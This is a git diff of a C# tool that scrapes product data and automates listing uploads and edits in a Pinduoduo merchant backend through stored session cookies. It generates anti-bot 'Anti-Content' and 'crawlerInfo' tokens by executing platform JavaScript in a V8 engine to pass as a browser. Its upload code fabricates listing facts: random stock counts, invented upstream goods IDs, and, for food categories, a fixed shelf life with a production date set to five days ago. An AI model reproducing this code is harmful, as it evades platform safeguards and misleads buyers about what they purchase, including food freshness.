/// 是否高级突破 + /// + public bool Explode = false; + /// + /// 店铺是否可上传 + /// + public bool CanUpload = false; + /// + /// 选择 + /// + public bool Select = false; + /// + /// 极品飞车推广专用 + /// + public bool SelectForFlightCar = false; + /// + /// 极品飞车优化专用 + /// + public bool SelectForFlightCar2 = false; + /// + /// 极品飞车推广答题考试专用 + /// + public bool SelectForFlightCar3 = false; + + /// + /// 极品飞车定时检测专用 + /// + public bool SelectForFlightCar4 = false; + /// + /// 极品飞车明细专用 + /// + public bool SelectForFlightCar5 = false; + + /// + /// 选择 + /// + public bool SelectReplace = false; + public bool SelectClearDown = false; + public bool SelectPayOrder = false; + public bool SelectStore = false; + public bool SelectFood = false; + public bool SelectMedicinal = false; + public bool SelectResure = false; + public bool SelectPlan = false; + public bool SelectCps = false; + public bool SelectVio = false; + public bool SelectAdv = false; + public bool SelectQue = false; + public bool SelectWhite = false; + public bool SelectCoS = false; + public bool SelectResurVio = false; + public bool SelectWithMoney = false; + public bool SelectProductCheck = false; + public int X = 0; + public int Y = 0; + public int MallId = 0; + /// + /// 店铺主营类目 + /// + public int MainCatId = 0; + public int ReceiverId = 0; + public string MainCatName = ""; + public string UserCatName = ""; + public int UpCount = 0; + public int ProductCount = 0; + public long ExpressId = 0; + public int WaitTimes = 0; + public string AccessToken = ""; + public string RefreshToken = ""; + public int GoodsCount = 0; + public int MappCount = 0; + public List ReplaceTitleProduct = new List(); + public List OnlineProduct = new List(); + public List OnOrOffProduct = new List(); + public List OnOrOffArrProduct = new List(); + public List ResurVioProduct = new List(); + public List ResurVioSalesProduct = new List(); + public List OnIds = new List(); + public List OffIds = new List(); + public List SellOutProduct = new List(); + public List jinBaoProduct = new List(); + public List VioProduct = new List(); + public List Visit = new List(); + public DateTime Expiration = DateTime.Now.AddDays(-1); + public string commission = ""; + public WithDraw withDraw = new WithDraw(); + public Dictionary SignErrorTimes = new Dictionary(); + /// + /// 已上传过的商品 + /// + public Dictionary UpFromIds = new Dictionary(); + public ShopChatBase Clone() + { + string html = JsonHelper.SerializeObject(this); + ShopChatBase tp = JsonHelper.DeserializeJsonToObject(html); + return tp; + } + + public CpsShopBase CpsShop = new CpsShopBase(); + public class CpsShopBase + { + /// + /// 全店进宝佣金比例 + /// + public string Percent = ""; + /// + /// 店铺商品总数 + /// + public int GoodsCount = 0; + /// + /// 已有进宝数 + /// + public int HadCpsCount = 0; + /// + /// 新增进宝数 + /// + public int NewCpsCount = 0; + /// + /// 未达标进宝数 + /// + public int InvalidCpsCount = 0; + /// + /// 店铺开通状态,0:待查询 1:已开通特权 2:未开通 3:非特权开通 + /// + public int Status = 0; + + public string StatusString + { + get + { + if (Status == 0) + return "待查询"; + if (Status == 1) + return "已开通"; + if (Status == 2) + return "待同意协议"; + if (Status == 3) + return "可设置"; + return "待查询"; + } + } + public string Message = ""; + public string AccessToken = ""; + public string RefreshToken = ""; + public Dictionary GoodsIds = new Dictionary(); + } + [Newtonsoft.Json.JsonIgnore] + public DelGroupStatus ArrangeShop = new DelGroupStatus(); + [Newtonsoft.Json.JsonIgnore] + public DelGroupStatus AutoShop = new DelGroupStatus(); + [Newtonsoft.Json.JsonIgnore] + public DelGroupStatus DelGroupShop = new DelGroupStatus(); + [Newtonsoft.Json.JsonIgnore] + public DelGroupStatus ClearNoVisitShop = new DelGroupStatus(); + } + public class UpProId + { + public string upProIdOne = ""; + public string upProIdTwo = ""; + } +} diff --git a/Work/Api/TaoJiJiProductGet.cs b/Work/Api/TaoJiJiProductGet.cs new file mode 100644 index 0000000..72fa573 --- /dev/null +++ b/Work/Api/TaoJiJiProductGet.cs @@ -0,0 +1,129 @@ +using AllBase; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.CollectClass; +using Work.ManageClass; + +namespace Work.Api +{ + public class TaoJiJiProductGet + { + public ProductCollectBase Product; + public bool IsPinduoduo = false; + public bool OnSale = true; + public TaoJiJiProductGet(ProductCollectBase p) + { + Product = p; + } + + public void Get() + { + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + { + Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone(); + return; + } + string url = Product.from_url; + string refere = string.Empty; + string html = GetPostTaobaoHtml.GetUrl(url, refere, true, string.Empty); + JObject json = JObject.Parse(html); + if (json["result"].ToString() == "1") + { + var data = json["data"]; + Product.from_cat_id = BaseRegex.GetIntJson(ref html, @"catid"); + Product.item_size = ""; + Product.item_weight = 1; + Product.price = data["price"].ParseToDecimal(); + Product.discount = 0; + Product.discountPrice = 0; + if (Product.discount == 0) + { + Product.discount = 1; + Product.discountPrice = Product.price; + } + Product.name = data["name"].ParseToString(); + foreach (string s in AlibabaShop.NoTitleWords) + { + Product.name = Product.name.Replace(s, ""); + } + Product.sell_pt = ""; + var album = data["album"]; + foreach (var image in album) + { + Product.Images.Add(image["img640url"].ParseToString()); + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.image; + Product.image_path = ""; + + var contentImage = data["image"]; + foreach (var image in contentImage) + { + Product.content += ""; + } + SetSkuMap(data); + } + Product.main_cid = 0; + Product.from_title = Product.name; + Product.from_site_id = 3; + Product.main_cid = new FromTitleToCat().GetMainCatId(Product.cat1); + if (Product.main_cid == 0) + return; + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + { + TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product); + } + LogSave.Add("获取成功:" + Product.name); + } + + public void SetSkuMap(JToken json) + { + var skuList = json["show"]; + foreach (var sku in skuList.Values()) + { + PropBase p = new PropBase(); + p.name = sku["label"].ParseToString(); + p.sort++; + + var skuValueList = sku["list"]; + foreach (var skuValue in skuValueList) + { + PropValueBase pr = new PropValueBase(); + pr.name = skuValue.ParseToString(); + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + p.Values.Add(pr); + } + Product.Props.Add(p); + } + var specList = json["spec"]; + foreach (var spec in specList) + { + SkuMapBase sm = new SkuMapBase(); + foreach (JProperty attr in spec["attr"].Children().OfType()) + { + string titleName = skuList[attr.Name]["label"].ParseToString(); + sm.name += titleName + ":" + attr.Value.ToString() + ";"; + } + sm.name = sm.name.Trim(';'); + sm.prop_image = spec["smallImgUrl"].ParseToString(); + sm.price = spec["groupPrice"].ParseToDecimal(); + sm.prop_image = spec["smallImgUrl"].ParseToString(); + int nu = 0; + int.TryParse(spec["stocknum"].ParseToString(), out nu); + sm.number = nu; + Product.SkuMaps.Add(sm); + } + } + } +} diff --git a/Work/Api/UpdatePinduoduoExpressSet.cs b/Work/Api/UpdatePinduoduoExpressSet.cs new file mode 100644 index 0000000..97405e8 --- /dev/null +++ b/Work/Api/UpdatePinduoduoExpressSet.cs @@ -0,0 +1,259 @@ + +using System.Collections.Generic; +using AllBase; +using System; +using System.IO; +using System.IO.Compression; +using System.Net; +using System.Threading; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; +using Work.CollectClass; +using System.Text; +using System.Linq; + +namespace Work.Api +{ + public class UpdatePinduoduoExpressSet + { + public static List Express = new List(); + + /// + /// 获取最后一个运费模板 + /// + /// + /// + /// + /// + public long GetFirst(string cookies, int mallid, ShopChatBase Shop) + { + string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""costTemplateId"":[\s]*([\d]+)"); + long id = 0; + for (int i = 0; m != null && i < m.Count; i++) + { + long j = long.Parse(m[0].Groups[1].Value); + if (j > id) + id = j; + } + if (id > 0) + return id; + html = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate(); + m = BaseRegex.GetMatchRegex(ref html, @"""template_id"":[\s]*([\d]+)"); + for (int i = 0; m != null && i < m.Count; i++) + { + long j = long.Parse(m[0].Groups[1].Value); + if (j > id) + id = j; + } + return id; + } + + /// + /// 获取指定第几新的运费模板,如果超过模板总数,返回最旧的一个 + /// + /// + /// + /// + /// 排名第几新的运费模板 + /// + public long GetOneRank(string cookies, int mallid, ShopChatBase Shop, ref int rank) + { + string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""costTemplateId"":[\s]*([\d]+)"); + List tempIds = new List(); + long id = 0; + for (int i = 0; m != null && i < m.Count; i++) + { + long j = long.Parse(m[0].Groups[1].Value); + if (j > 0) + tempIds.Add(j); + } + if (tempIds.Count > 0) + { + tempIds = tempIds.OrderByDescending(t => t).ToList(); + if (rank < tempIds.Count - 1) + return tempIds[rank]; + else + { + rank = 1000; + return tempIds.Last(); + } + } + + // 使用api获取 + html = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate(); + m = BaseRegex.GetMatchRegex(ref html, @"""template_id"":[\s]*([\d]+)"); + for (int i = 0; m != null && i < m.Count; i++) + { + long j = long.Parse(m[0].Groups[1].Value); + if (j > 0) + tempIds.Add(j); + } + if (tempIds.Count > 0) + { + tempIds = tempIds.OrderByDescending(t => t).ToList(); + if (rank < tempIds.Count - 1) + return tempIds[rank]; + else + { + rank = 1000; + return tempIds.Last(); + } + } + return id; + } + + public long GetRandx(string cookies, int mallid, ShopChatBase Shop) + { + string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""costTemplateId"":[\s]*([\d]+)"); + long id = 0; + if (m == null) + goto UseApi; + if (m.Count == 1) + { + long tid = BaseRegex.GetLongJson(ref html, "costTemplateId"); + string urlxt = "https://mms.pinduoduo.com/express_inf/cost_template/copy"; + string referext = "https://mms.pinduoduo.com/orders/order/carriage/list"; + string dataxt = "{\"costTemplateId\":" + tid + ",\"sourceKey\":\"MMS\"}"; + string htmlxt = Request_mms_pinduoduo_com(urlxt, referext, Shop.Cookies, dataxt, getAnti0aon()); + if (htmlxt.Contains("ok")) + { + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + tid = BaseRegex.GetLongJson(ref html, "costTemplateId"); + return tid; + } + } + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, m.Count); + return long.Parse(m[randx].Groups[1].Value); + UseApi: + html = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate(); + m = BaseRegex.GetMatchRegex(ref html, @"""template_id"":[\s]*([\d]+)"); + if (m == null || m.Count <= 1) + return id; + int randxt = new Random(Guid.NewGuid().GetHashCode()).Next(1, m.Count); + return long.Parse(m[randxt].Groups[1].Value); + } + + public int GetFirst(string cookies, int mallid) + { + string url = "https://mms.pinduoduo.com/express_base/cost_template/get_list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int id = BaseRegex.GetIntJson(ref html, "costTemplateId"); + return id; + } + public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null) + { + string responseText = ""; + HttpWebResponse response = null; + + try + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = "application/json"; + //request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr"); + request.Headers.Add("Anti-Content", antiContent); + //request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + request.UserAgent = BaseClass.ChromeUserAgent; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + if (proxy != null) + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = data; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response); + response.Close(); + } + + Thread.Sleep(50 + Randomx.GetId(100)); + + return responseText; + } + + /// + /// 读取返回值 + /// + /// + /// + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + public static string getAnti0aon() + { + string anti = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao); + anti = jsEngine.CallFunction("get_anti", "").ToString(); + try + { anti = "0ao" + anti.Substring(3); } + catch { } + } + return anti; + } + + } +} \ No newline at end of file diff --git a/Work/Api/UploadPinduoduoDeleteSku.cs b/Work/Api/UploadPinduoduoDeleteSku.cs new file mode 100644 index 0000000..87ef8da --- /dev/null +++ b/Work/Api/UploadPinduoduoDeleteSku.cs @@ -0,0 +1,1007 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using Work.CollectClass; +using System.IO; +using JavaScriptEngineSwitcher.V8; +using JavaScriptEngineSwitcher.Core; + +namespace Work.Api +{ + public class UploadPinduoduoDeleteSku + { + public ShopChatBase Shop; + public string Name; + public TaobaoProductBase Us; + public ProductCollectBase pb = null; + public string SkuString; + public string SkuStringApi; + public long NewUpId = 0; + public decimal MinPrice = 0, MaxPrice = 0; + public Dictionary Data = new Dictionary(); + public bool CanUpload = true; + public int Cat1 = 0; + public long pid = 0; + public string title = ""; + public string skus = ""; + public UploadPinduoduoDeleteSku(string name, ShopChatBase shop, TaobaoProductBase us, string sku, string skuApi) + { + Name = name; + Shop = shop; + Us = us.Clone(); + SkuString = sku; + SkuStringApi = skuApi; + } + public UploadPinduoduoDeleteSku() + { + } + + public bool GetNew() + { + Us.FromId = Us.GoodsId; + GetProductDetail ge = new GetProductDetail(Shop, Name); + var r = ge.Get(Us.GoodsId); + if (r == null) + return false; + + string apiImageString = ""; + for (int i = 0; i < r.carousel_gallery_list.Count && i < 1; i++) + { + apiImageString += ",\"" + r.carousel_gallery_list[i] + "\""; + } + if (Data.ContainsKey("carousel_gallery") && !string.IsNullOrEmpty(Data["carousel_gallery"]) && Data["carousel_gallery"].Contains(",") && !string.IsNullOrEmpty(apiImageString)) + { + string[] l = Data["carousel_gallery"].Replace("\"", "").Replace("[", "").Replace("]", "").Split(','); + for (int i = 0; i < l.Length && i < 9; i++) + { + apiImageString += ",\"" + l[i] + "\""; + } + + Data["carousel_gallery"] = "[" + apiImageString.Substring(1) + "]"; + + } + Data["thumb_url"] = r.thumb_url; + Data["image_url"] = r.image_url; + Data["cat_id"] = r.cat_id.ToString(); + string mustCode = ""; + string properties = UploadPinduoduoProperties.GetNew(r.cat_id, 0, ref pb, ref Shop, out mustCode); + if (!Data.ContainsKey("goods_properties")) + Data.Add("goods_properties", ""); + if (!string.IsNullOrEmpty(mustCode)) + Data["goods_properties"] = "[" + mustCode.Substring(1) + "]"; + else + Data["goods_properties"] = ""; + + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + api.Data = Data; + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return false; + string html = api.UpdataNew(); + if (html.Contains("惩罚") || html.Contains("新协议") || html.Contains("协议已更新") || html.Contains("高风险店铺") || html.Contains("配送地区") || html.Contains("店铺资质") && !html.Contains("出于监管要求") || + html.Contains("通过审核")) + { + string msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + MessageBox.Show("店铺:" + Shop.ShopName + " 错误:\r\n" + msg); + CanUpload = false; + return false; + } + if (!string.IsNullOrEmpty(BaseRegex.GetStringJson(ref html, "error_msg"))) + return false; + long goods_commit_id = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + api = new PinduoduoApiGetProduct(Shop); + long upid = 0; + html = api.GetRelation(r.goods_id.ToString()); + // 有获取到对应的上家id + if (html.Contains("out_goods_id") && html.Contains("out_goods_platform")) + upid = BaseRegex.GetLongJson(ref html, "out_goods_id"); + else + upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10, 99999); + html = api.Relation(Us.GoodsId, upid, (int)(MinPrice * 0.96m), (int)(MaxPrice * 0.96m), 0, 0); + Thread.Sleep(500); + + int goods_status = 1; + for (int i = 0; goods_commit_id > 0 && i < 600 && goods_status == 1; i++) + { + html = new PinduoduoApiGetProduct(Shop).GetCommitDetail(goods_commit_id); + goods_status = BaseRegex.GetIntJson(ref html, "goods_status"); + if (goods_status == 1) + Thread.Sleep(1 * 1000); + } + if (goods_commit_id > 0) + new PinduoduoApiGetProduct(Shop).DeleteCommitDetail(goods_commit_id); + if (goods_status != 2 && goods_status != 4) + return false; + return true; + + + //模拟接口 + if (Shop.UpCount++ > 150) + { + LogSave.Add(Name, "店铺" + Shop.ShopName + ",上传数据已经达到上限"); + return false; + } + long pinId; + string error_msg; + string addContent = ""; + string url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/create_by_sn"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"goods_id\":" + Us.GoodsId + "}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + if (pinId == 0) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + } + if (!string.IsNullOrEmpty(html) && html.Contains("达到上限")) + { + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + Shop.CanUpload = false; + Shop.Message = error_msg; + UploadPinduoduoMain.ShopTemp.Add(Shop); + Error("提交异常:" + r.goods_name, error_msg); + return false; + } + if (pinId == 0) + { + Error("创建异常:" + r.goods_name + " 无法获取编辑ID ", "无法获取编辑ID"); + return false; + } + if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + Cat1 + ","))//食品 + { + addContent += ",\"shelf_life\":300,\"start_production_date\":" + BaseClass.GetTime(DateTime.Now.AddDays(-5)) + ",\"end_production_date\":" + BaseClass.GetTime(DateTime.Now); + } + else + { + addContent += ",\"shelf_life\":\"\",\"start_production_date\":\"\",\"end_production_date\":\"\""; + } + string propertiesx = UploadPinduoduoProperties.GetNew(pb.cat_id, Cat1, ref pb, ref Shop, out mustCode); + if (!string.IsNullOrEmpty(propertiesx)) + { + propertiesx = "[" + propertiesx.Substring(1) + "]"; + } + //string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + //string str = ""; + //for (int i = 0; i < 16; i++) + //{ + // str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + //} + //string strToken = str + "-" + strTime; + //string strNumber = ""; + //string temp2 = strTime + "," + strToken + "," + strNumber; + //string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + //string codex = ExecuteScript(fun2, strContent); + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + string dataUp = "{\"cat_id\":" + r.cat_id + ",\"crawlerInfo\":\"" + codex + "\",\"goods_type\":\"1\",\"country\":\"\",\"country_id\":\"\"," + + "\"warehouse\":\"\",\"customs\":\"\",\"is_customs\":0,\"is_pre_sale\":0,\"pre_sale_time\":\"\"," + + "\"is_refundable\":1,\"shipment_limit_second\":172800,\"event_type\":\"0\",\"is_folt\":\"1\"," + + "\"goods_name\":\"" + pb.name + "\",\"tiny_name\":\"" + Data["tiny_name"] + "\",\"market_price\":" + Data["market_price"] + + ",\"share_desc\":\"" + Data["goods_desc"] + ":\",\"goods_desc\":\"" + Data["goods_desc"] + "\"," + + "\"image_url\":\"\",\"thumb_url\":\"" + Data["thumb_url"] + "\",\"hd_thumb_url\":\"" + Data["hd_thumb_url"] + "\"," + + "\"gallery\":[" + Data["gallery"] + "],\"cost_template_id\":\"" + Shop.ExpressId.ToString() + "\",\"weight\":\"1.00\",\"warm_tips\":\"\"," + + "\"skus\":" + skus + ",\"out_goods_sn\":\"" + Data["out_goods_id"] + "\",\"groups\":{\"customer_num\":" + UploadPinduoduoMain.GroupCount + "," + + "\"buy_limit\":" + UploadPinduoduoMain.BuyLimit + ",\"order_limit\":" + UploadPinduoduoMain.OrderLimit + + "},\"production_license\":\"\",\"production_standard_number\":\"\"" + addContent + ",\"goods_commit_id\":\"" + pinId + "\"}"; + if (!string.IsNullOrEmpty(propertiesx)) + { + dataUp += ",\"goods_properties\":" + propertiesx + ""; + } + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/update"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + error_msg += BaseRegex.GetStringJson(ref html, "sub_msg"); + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":")) + { + Thread.Sleep(20 * 1000); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("规格错误")) + { + Error("保存异常:" + r.goods_name + " " + error_msg, error_msg); + return false; + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("过于频繁")) + { + LogSave.Add(Name, "太快了,休眠1分钟"); + Thread.Sleep(100 * 1000); + } + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Thread.Sleep(20 * 1000); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("过于频繁")) + Thread.Sleep(100 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + error_msg += BaseRegex.GetStringJson(ref html, "sub_msg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Error("保存异常:" + r.goods_name + " " + error_msg, error_msg); + return false; + } + url = "https://mms.pinduoduo.com/glide/v2/mms/query/goods/is_commit_available/" + pinId; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("过于频繁")) + Thread.Sleep(100 * 1000); + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Error("保存异常,校验失败:" + r.goods_name, error_msg); + return false; + } + url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/" + pinId; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", Shop.Cookies); + + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/submit"; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + data = "{\"goods_commit_id\":\"" + pinId + "\",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + if (!string.IsNullOrEmpty(error_msg) && error_msg.ToLower().Contains("sku")) + { + Error("提交异常:" + r.goods_name, error_msg); + return false; + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("敏感词")) + { + Error("提交异常:" + r.goods_name, error_msg); + return false; + } + //if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("账号安全")) + //{ + // FullToday = true; + // Shop.CanUpload = false; + // Error("提交异常:" + t.Titlte, error_msg); + // return; + //} + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("数量上限")) + { + Shop.CanUpload = false; + Error("提交异常:" + r.goods_name, error_msg); + return false; + } + if (!string.IsNullOrEmpty(error_msg) && (error_msg.Contains("二级惩罚") || error_msg.Contains("店铺资质") || error_msg.Contains("通过审核"))) + { + Shop.CanUpload = false; + Error("提交异常:" + r.goods_name, error_msg); + return false; + } + + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Error("提交异常:" + r.goods_name, error_msg); + return false; + } + if (UploadPinduoduoMain.SingleThreadCount > 1) + Thread.Sleep(10 * 1000); + else + Thread.Sleep(5 * 1000); + return true; + + } + /// + /// 设置错误信息 + /// + /// + /// + public void Error(string messageShow, string message) + { + LogSave.Add(Name, messageShow); + } + + + public bool Get() + { + Us.FromId = Us.GoodsId; + GetProductDetail ge = new GetProductDetail(Shop, Name); + var r = ge.Get(Us.GoodsId); + if (r == null) + return false; + + //if (!",6586,6785,6883,6758,6536,6630,6398,2,,6785,1715,6883,13176,13177,13178,".Contains(Cat1.ToString())) + // Data["cat_id"] = "10780"; + //else + Data["cat_id"] = PinduoduoCatList.GetNewCat3(int.Parse(Data["cat_id"])).ToString(); + //Data["cat_id"] = "10795";//9706 + string imageString = "", apiImageString = "", apiContentString = ""; + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + apiImageString += ",\"" + r.carousel_gallery_list[i] + "\""; + } + if (!string.IsNullOrEmpty(Data["carousel_gallery"]) && Data["carousel_gallery"].Contains(",") && !string.IsNullOrEmpty(apiImageString)) + { + Data["carousel_gallery"] = Data["carousel_gallery"].Substring(0, Data["carousel_gallery"].IndexOf(",")) + + apiImageString.Substring(0, apiImageString.LastIndexOf(",")) + "]"; + } + Data["image_url"] = r.image_url; + + //string skuString = "{\"is_onsale\":1,\"limit_quantity\":" + 